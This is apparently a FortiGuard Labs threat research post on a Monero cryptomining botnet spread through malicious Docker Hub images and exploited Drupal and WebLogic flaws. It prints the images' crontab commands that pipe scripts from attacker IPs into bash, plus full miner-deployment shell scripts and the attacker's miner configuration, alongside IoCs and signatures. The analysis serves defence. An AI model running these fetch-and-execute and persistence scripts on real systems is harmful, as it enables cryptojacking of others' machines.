FortiGuard Labs Threat Research
Yet Another Crypto Mining Botnet?
In February 2018, several Russian nuclear scientists were for allegedly mining cryptocurrencies using computing resources located at a Russian nuclear warhead facility. Globally, cryptominers are rapidly increasing and spreading for an obvious reason: it’s lucrative. Threat actors are also surfing this wave by using different kind of attacks to compromise not only personal computer but also servers. They are looking for powerful CPU resources to mine cryptocurrencies, such as Monero (XMR), among others, as fast as they can. The more infected machines they can get mining for them, the more money they can make.
Over the last few months we have begun to see a switch away from traditional ransomware, most probably because fewer and fewer victims are paying the ransom. Experts are suggesting that victims not pay ransoms, as there is no guarantee that the cybercriminals will actually return access to their encrypted data. Moreover, as has been described a few times on this blog, most of the time getting back access to the original data is simply not technically possible.
However, last year, we not only witnessed IoT malware embedding exploits to recruit more bots in their army, but also campaigns using exploits to deploy cryptocurrency miners onto those devices. That trend is even more popular today, with cybercriminals exploiting new critical vulnerabilities within days of the public release of patches. For example, the vulnerability disclosed on Drupal CMS in March was exploited just a few days after the patch was released. Drupal is an open-source content management system (CMS) that is powering millions of web sites around the world.
The vulnerability, dubbed “Drupalgeddon 2.0” (CVE-2018-7600), was rapidly turned to advantage with a cryptomining exploit by unknown actor(s), as detailed by Volexity in “.” The interesting thing is that the tactics, techniques, and procedures (TTPs) used to exploit this vulnerability were exactly the same as those we identified previously for other exploits. One wonders if the threat actors behind a few of these identified campaigns are not in fact the same actor, who simply jumps from one hot vulnerability to another?
In particular, the Monero wallet address used in this exploit is one of the constant data elements that tie these different attacks together.
41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
Other evidence linking this attack to others has also been found in attacks back in December 2017 that targeted the Oracle WebLogic Server (CVE-2017-10271) vulnerability. Attackers exploited that remote code execution vulnerability within days of the patch being released by forcing public facing servers to download and execute a malicious cryptomining payload.
Even before December 2017 we documented Docker images hosted on the Docker Hub registry that were seen to embed malicious malware. This was particularly the case for the Docker account docker123321, which was created in May 2017 (see Figure 1), and which currently provides 19 images under popular project names like Cron, Tomcat, and Mysql.
Figure 1: docker123321 home page on Docker Hub
When we inspect one of these images using the CLI, we see the following:
docker inspect docker123321/kk
…
"Cmd": [
"/bin/sh",
"-c",
"echo -e \"* * * * * root /usr/bin/curl -s hxxp://198.181.41.97:8220/test44.sh | bash -s\\n\" >> /mnt/etc/crontab"
],
…
"Cmd" contains the command line run while starting the container, as can be seen above.
It adds a command line to the Cron Linux job scheduler, the purpose of which is to automatically download a test44.sh file from a remote server.
Here’s the content of that shell script.
#!/bin/bash
(docker pause `docker ps|grep kube-apis |awk '{print $1}'`;docker pause `docker ps|grep nginx78 |awk '{print $1}'`;docker run --name sosmseww --restart unless-stopped
--read-only -m 50M bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsea2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:333
3 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsen2 --restart unle
ss-stopped --read-only -m 50M bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmsek2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-
pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;docker run --name sosmset2 --r
estart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x -k --donate-level=1;kubectl delete $(kubectl --server=aaa get all | grep "nginx78-" | awk "{print \$1}"))
It appears to run five instances of the crypto mining official image bitnn/alpine-xmrig, under the names “sosmseww”, “sosmsea2”, “sosmsen2”, “sosmsek2“, and “sosmset2“. That image is auto pulled if it does not exist locally. All five of these containers connect to the crypto-pool.fr pool.
A more recent case is the image dubbed docker123321/cron, which was pushed onto the public registry the first week of January.
docker inspect docker123321/cron
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"CMD [\"/bin/sh\" \"-c\" \"echo \\\"* * * * * curl -s hxxp:// 162.212.157.244:8220/logo1.jpg | bash -s\\\" >> /mnt/etc/crontab\"]"
],
That logo1.jpg file is a shell script file that downloads and locally executes a crypto currency miner, as defined below:
#!/bin/sh
ps aux | grep -vw suppoie | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s hxxp://162.212.157.244:8220/logo1.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json hxxp://162.212.157.244:8220/1.json
curl -o /var/tmp/suppoie hxxp://162.212.157.244:8220/rig
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "running....."
The script runs some background tests before downloading a ‘rig’ file from a remote server and checking the hardware. That ‘rig’ file is a compiled version of the popular Monero (XMR) miner XMRig as seen from the binary:
.rodata:00000000004A1388 0000002B C XMRig 2.5.3\n built on Apr 28 2018 with GCC”
The cryptominer configuration config.json downloaded from hxxp://162.212.157.244:8220/1.json is then passed as the command line argument.
Within that configuration file we can see that it refers to the Monero wallet that FortiGuard Labs is tracking, but that time it was linked to the monerohash.com pool.
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "stratum+tcp://monerohash.com:5555", // URL of mining server
"user": "41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}
How popular are these Docker attacks?
The docker123321/kk attack described above has been pulled more than 100K times, while docker123321/cron has been pulled more than 1M times. All of the images stored by that user are of the same magnitude.
How were they been infected in the first place, and how is it possible to achieve such a large deployment?
Of course, we can safely assume that these had not been deployed manually. In fact, the attack seems to be fully automated. Attackers have most probably developed a script to find misconfigured Docker and Kubernetes installations. Docker works as a client/server architecture, meaning the service can be fully managed remotely via the REST API.
By default, the service is available on TCP/2375 and TCP/2376. If these ports are exposed to the Internet without a proper authentication scheme, it can pose a major threat to your environment. The same happen for Kubernetes, which is listening on port 8080.
Aqua Security demonstrated some of these attacks at BlackHat US 2017 under the “” presentation.
As discussed above, FortiGuard Labs found some evidence that the same Monero wallet is being used; however, the mining pool has been switched between campaigns/attack vectors. It has been seen on the following mining pools:
- monerohash.com
- moneropool.com
- minexmr.com
- monero.hashvault.pro
- dwarfpool.com
- supportxmr.com
- monero.crypto-pool.fr
As a side note, minexmr.com and monero.crypto-pool.fr have already suspended that address and now mark it as detected botnet activity. Sharing such information between pools would make sense, that’s obviously not the case for now. The actor has been able to mine about 630 XMR to date, which at the current USD rate is more than $172,000 for just a little more than one year of activity. Even though this current hashing power is generating about $12k/month, there is no way we can trace back the transactions to the threat actor since Monero promises transaction anonymity by design.
Conclusion
Reporting malicious activity to registrars or ISPs is a common practice in the security industry. With regards to cryptocurrencies, I would personally suggest that you always report the misuse of services directly to the pool owners so the wallets can be disabled globally.
Will the cryptominer threat overtake ransomware, or is it already the case? That’s a hard question to answer. FortiGuard Labswill keep continue to monitor such kind of activity and report any malicious events.
Solution
The following AV signatures have been created to detect riskware files related to these attacks:
Linux/CoinMiner.AE!tr and Riskware/MoneroMiner.
IPS signatures that cover the vulnerabilities described in the article:
*CVE-2018-7600 is covered by Drupal.Core.Form.Rendering.Component.Remote.Code.Execution
*CVE-2017-10271 is covered by Oracle.WebLogic.Server.wls-wsat.Component.Code.Injection
FortiGuard Web Filtering Serviceis currently blocking the malicious download URLs and C2s.
-= FortiGuard Lion Team =-
IoC:
File:
ec2ab9a279d73f8ee26cf47bced5a00dd540e75469d098a0f5f0a44d69a4a935 test44.sh
31bae6f19b32b7bb7188dd4860040979cf6cee352d1135892d654a4df0df01c1 1.json
4b346c1a7f29147fc16a8b2fc72b9762b14c2d3860b6431a09e33570800cabfe rig
Wallet:
41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
IP:
158.69.133.18:8220
162.212.157.244:8220
198.181.41.97:8220
Check out our latestfor more details about recent threats.
Sign upfor our weekly FortiGuardintel briefsorfor ourFortiGuard Threat Intelligence Service.
